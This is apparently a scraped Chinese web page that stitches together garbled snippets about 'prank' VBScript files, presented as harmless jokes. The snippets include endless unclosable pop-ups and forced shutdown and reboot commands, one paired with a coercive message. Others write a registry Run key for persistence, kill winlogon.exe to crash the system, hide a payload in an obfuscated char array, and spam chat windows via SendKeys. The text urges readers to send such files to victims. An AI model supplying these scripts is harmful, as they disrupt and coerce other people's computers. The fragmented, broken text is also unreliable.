整人vbs 整人方法越毒越好不犯法

1、01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示 03。

2、01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 03。

3、首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗，每个。

4、01 首先我们准备一个VBS文件，在其中加入VBS整人代码，如下图所示 02 然后我们双击VBS文件，你会看到如。

5、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。

6、vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万。

7、Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscriptquit。

8、run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它**下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。

9、chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理器结束进程即可。

10、首先创建 文本文档，将以下代码**on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。

11、这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34，34，44，118，98，89，101，115，78，111，44，34，34。

12、vbs整人代码大** 多年的代码收集 发布时间20110226 221353 作者一你打开好友的聊天对话框，然后记下在你里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送信息到好友的次数代码里的数字10改一。

13、if MsgBoxquot对不起，您需要重新启动计算机quotchr10quot确定要重启吗，msgbox quot 系统将立刻重起wow ~_^quotquot你上当了quotSet objShell = CreateObjectquotWscriptShellquotobjShellRun quotshutdown s t 5quottrue。

14、fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

15、打开一个记事本，把代码输入进去，然后把格式改成VBS然后一保存，OK啦样子是中间有一个蓝色卷轴接着，只要把这个做好的VBS文件发给他，就可以了，不用 再动别的，只要静静等待他被整例外话我劝你还是别发。

16、wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide end if 解决办法什么都不要点建另一个VBS然后运行 代码如下CreateobjectquotWscriptshellquotrun quottaskkill f im wscriptexequot。

17、set a = wscriptcreateobjectquotwscriptshellquotarun quotcmdexe c shutdown r t 3600 c quotquot求我，我就告诉你怎么办嘿嘿quotquot quot，0 ，true **代码保存位**vbs 发给你要整的人就可以了 3600是时间。

18、有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。